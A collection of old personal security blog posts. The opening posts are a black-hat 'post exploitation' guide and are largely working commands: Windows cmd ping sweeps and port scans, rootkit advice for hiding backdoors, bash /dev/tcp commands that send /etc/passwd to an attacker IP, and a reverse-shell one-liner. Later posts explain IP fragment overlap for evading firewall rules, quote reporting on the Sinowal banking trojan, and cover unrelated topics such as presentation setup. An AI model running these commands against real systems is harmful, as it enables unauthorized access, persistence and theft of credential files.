Post Exploitation 2

We had discussion going on the topic Post exploitation when I realized that in my first post I didnt put any special things on windows. So I am adding that information in this second post on this topic.

Like lots of people dont know that there are FOR loop on windows command line using which we can have a ping sweep or port scan from cmd without any thirdparty tools.

Ex.

Ping Sweep: Using following command we can run a ping sweep
FOR /L %i in (1,1,255) do @ping -n 1 10.10.10.%i | find "Reply"

This command will run a ping sweep on 10.10.10.0/24

Command line port scanner using ftp client:
The windows ftp client can be used as a port scanner.
But
C:\> ftp [IP_address]
This is not allowing to put port number and defaults to port 21 for connection.
But... we can specify a destination port in a ftp command file
- open [IP_addr] [port]

FTP client then can read this ftp commands file and execute them.

C:\> ftp -s:[filename]

So using this and FOR loop together...

for /L %i in (1,1,1024) do echo open [IPaddr] %i > ftp.txt & echo quit >> ftp.txt & ftp -s:ftp.txt 2>>ports.txt

Now the ports.txt will have output of the port scanner.

One more option in the FOR command let us use file as input

Ex. There is file with name PTips.txt containing one IP address each line
so following command will iterate through the file.

FOR /F "delims=^" %i in (PTips.txt) do ping %i

C:\>ping 222.222.222.222
Pinging 222.222.222.222 with 32 bytes of data:
Reply from 222.222.222.222: Destination net unreachable.
...
...

One more addition
Having only cmd in windows does put lot of restrictions.
Lots of time I miss the simple commands like in linux to get HTML pages.
Can we download HTML pages on windows without Browser ???
...
...
...
Yes We Can
The problem with telnet is it dont allows us to redirect the output or screen to some file...
So... so we use -f for creating log of the telnet session.
Ex. Windows telnet as simple HTTP GET tool
C:\> telnet -f log.txt
Welcome to Microsoft Telnet Client
Escape Character is 'CTRL+]'
Microsoft Telnet>o in.yahoo.com 80
...
...
Microsoft Telnet>sen GET / HTTP/1.0
...
Html contents will scroll down all of sudden but dont worry,
all that content will be saved to the log file: log.txt
There you go.

web hit counter

Post Exploitation...

One of my fren asked that "scenario is that you have gotta interactive shell on remote machine (linux/windows) with admin privileges (not semi interactive like c99, r57 etc. i.e. suppose you have got the command prompt / console)"

Now what do you think you would be doing as "POST EXPLOITATION" to have complete control over the server.

As per his request my answer is from black hat perspective...

After getting access to any victim machine most important thing is to maintain access. And a hacker should do all things necessary to maintain access.

I had herd comment from some one that he would install some service like VNC. Ofcourse this is lame answer according to me. But it draws attention to a basic point should we install some different backdoor ? I would rather suggest use of the existing service as backdoor instead of creating a new one. Becuase at this point we have to consider the fact that normally there would be some firewall in between attacker and the victim. So creating a new backdoor might not be usefull if the firewall is not allowing that service to accept connections. Anyways installing new backdoor means more files transfered to the victim, therefore more chances of getting detected.

If one want to use the backdoor then it should be used with addition of root kit ofcourse.
E.g.
Windows Rootkit ex. AFX Windows Rootkit: This rootkit will hide processes, files, folders
registry keys and netstat entries from Windows 95/98/ME/NT/2k/XP/2003

Linux Rootkits: No particular examaple I am giving, there are lots of which hide processes,files etc.

Using Inbuild linux Tools instead of external backdoors
For linux I would rather use the inbuild tools in linux to do things for me.
Most importatnt reason for this is "No external tool mean nothing for detect for antivirus" B-)

On most Linux variants (except Debian-derived systems like Ubuntu), the default built-in bash can redirect to and from /dev/tcp/[IPaddr]/[port]
Ex.
Victim>echo "Hello WOrld" > /dev/tcp/10.10.10.66/2345

Attacker>nc -l -p 2345
Hello WOrld

Not Imressed then look at this

Victim>cat /etc/passwd > /dev/tcp/10.10.10.66/2345

Attacker>nc -l -p 2345
root:x:0:0:root:/root:bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
...
...

Transfer file without using even nc

Ok file transfer could be done What else do I want to do on my rooted box ?
have Backdoor shell,Scan for other Machines can we do that without external tools ???
...
...
Of course we can
...
How ??
Linux /dev/tcp .... is the key

Victim$>/bin/bash -i > /dev/tcp/10.10.10.66/2345 0<&1 2>&1

Attacker>nc -l -p 2345
victim@linux:~$whoami
user12

Now Port scanning...
you guessed correct /dev/tcp :D

$ echo > /dev/tcp/10.10.10.66/25
bash: connect: Connection Refused
bash: /dev/tcp/10.10.10.66/25: Connection refused

$ echo > /dev/tcp/10.10.10.66/80
$ #Command successful means port 80 is listening


This is just some example you can go ahead with you own tricks... So this concludes some of the things ( only some of things.. ;) ) I would do Post Exploitation

Sinowal trojan: Three years old and just plain nasty

Sinowal is a dangerous piece of malware. Security analysts are just beginning to realize how much so. That’s because the Sinowal trojan is unique in its attack vector, and we need to understand what’s different about it.


“We recently discovered that, dating back as early as February 2006, the Sinowal Trojan has compromised and stolen login credentials from approximately 300,000 online bank accounts as well as a similar number of credit and debit cards. Other information such as email, and FTP accounts from numerous websites, have also been compromised and stolen.”
- RSA FraudAction Research Lab


“How can Mebroot/Sinowal do their dirty work without a malicious component? Well, because Sinowal controls the boot sequence, it can inject the malicious code into legitimate Windows Components. It will hook key functions that the Internet Explorer will use to do its day-to-day job like sending and receiving encrypted data. Yes, you are right. Mebroot/Sinowal does have full control over the encrypted data stream as it has access to it before it will be encrypted and after it has been decrypted.”
- TrustDefender Labs

Read the whole article by Michael Kassner HERE

Showing Only Presentation on External Display

Doing presentation is not liked by most of the techies, But there are times in life where you have to do presentations. When I started giving presentations from lots of days I was thinking is there any way I can see my notes on my laptop and my audience will only see the presentation. Because it is very frustrating if you forgot any point and need to see the notes, all the audience will see those notes. I didnt like that. At last today I have found a way by which I can to that. Lots of you might be already knowing this. But I thought I would share this in case some of you dont know it.

Steps


Step 1: Right click on desktop select properties, select settings

Step 2: Check if Multiple Monitors option is available if not you need to check your graphics drivers.


Step 3. Right click on second monitor, click on attached












Step 4: Go to power point click on Slide Show -> Setup slide show


step 5: In the multiple monitors section select Monitor 2

Step 6: Press F5 to start slide show ..... Valllaaa only your slide show is shown on your external monitor / projector.

You can see your notes , do any thing on you laptop that will not be shown in the external monitor.

Hacker and Security Consultant

Some days ago when I was viewing a video from the shmoocon 2008, Hackajar told a very interesting difference between a hacker and security professional, he said

"Under the Age of 25 you are a hacker you are over the age of 25 you are a security professional"

So I was thinking about this statement like and I was like "Waw" how true !! Like when we are in our young age we dont have responsibilities on us. Most probably parents are paying for our education and for our living. At those time we can go on and on doing hacking stuff but we dont get any pay for that. They say White Hat, black hat are there black hat dont like white hats but there is one important statement made by simple nomad in this talk that was

"The basic different between Black hat and white hat hacker is that White hat has Mortgage."

So when you get little older responsibilities come, you need to earn for living. At that time one will think and I like to hack things, if I get a money to hack things then why I shouldn't take this opportunity ? Yes there are some restrictions on the you when you become white hat but every thing has its plus and minus. So its so true that as hackers become old they might go to the security scene. So whats bad in that ?

Packet Freagmentation Attack against Firewalls

For those who dont know what is packet fragmentation: you dont belong here, Dont read this article.

Legal Bullshit
DISCLAIMER
This artical is provided for general informational purposes only, without warranty, either expressed or implied. How you use this information is upto you and author is not liable for that.
(F*ing B@$# S**t)


As we know due to differnet MTU (Maximum Transmission Unit) size in the different networks the TCP/IP packets need to be fragmented some times.
If you are RFC junky then RFC 791 - Internet Protocol is reffernce for you.

3 fields are involved in the fragmentation Identification,Flags,Fragment Offset

1. Identification: 16 bits

An identifying value assigned by the sender to aid in assembling the fragments of a datagram.

2. Flags: 3 bits

Various Control Flags.

Bit 0: reserved, must be zero 
Bit 1: (DF) 0 = May Fragment, 1 = Don't Fragment. 
Bit 2: (MF) 0 = Last Fragment, 1 = More Fragments. 
  0   1   2
+---+---+---+
|   | D | M |
| 0 | F | F |
+---+---+---+

3. Fragment Offset: 13 bits

This field indicates where in the datagram this fragment belongs.

The fragment offset is measured in units of 8 octets (64 bits). The first fragment has offset zero.


Bellow is the idea of how packet fragmentation can be used to get around rules in some firewalls. To do this the main idea is to set the offset of the second packet is so low that the second packet will actually overlap on the first packet and the data of the first packet will be overwritten.

For Example.
Suppose there is a firewall rule that only allows port 80 to be connected from internet to inside server and say you want to do a ssh (port 22) connectoin to that server.
Then the first packet would be sent to the server with the port number 80 and
with the DF bit = 0 (May Fragment) and the MF bit = 1 (More Fragments). Since the firewall is configured to allow the port 80 connection it will allow this packet.

The second packet should be sent with the DF bit=0 and MF bit =0 (Last Fragment), port will be 22 and the Fragment Offset is given as 1. This will over write the first packet except the first 1byte(8bits) of the packet.

This second packet will be accepted by the firewall since it is part of the first packet and first packet has been already accepted by the firewall. So final assembled packet will have port 22. This packet will be forwarded to the server's port 22 this way.

Instant Hacking / Security

If one see the graph of the computer attackers knowledge from 80s to today then there will be a big big drop down in attackers knowledge. I have seen some people who want knowledge with less or no effort. Worst case others don't want knowledge. Thats why there are lot and lots of Script kiddies these days.
There are lots of cases where a Microsoft Windows Exploit are being used on a linux/unix server by these script kiddies. I dont know why know one is ready to search a little bit , read a little bit. I think all are locked in to the instant phase created by media (instnat noodles, instant food, instant banking) So they want instant hacking also. But how do we say to them that hacking is not a instant packet. That just keep in oven / microwave and ready to serve. Even the people in the information security are exception for this. Lots of people in Information Security area also want to download Nessus, click on All the Plugins and hit on the target. They dont want to take some time to understand the tool, understand its working. Hell they dont even want to learn about the target against which they are using these tools. I think now is the time to follow the old school techiniques. It is very important if devlopement of the information security personal is concerned. I dont get how come person in the security also dont want to learn things about the network and tools that they use. I think lots of person are security area also only interested in showing some dumb nessus report to the user and get work done. What they dont understand is this is going to harm them in the future than the Client to which they are giving these reports. Their personal growth will affect from this kind of working. So atleast for personal interest try to learn / get information.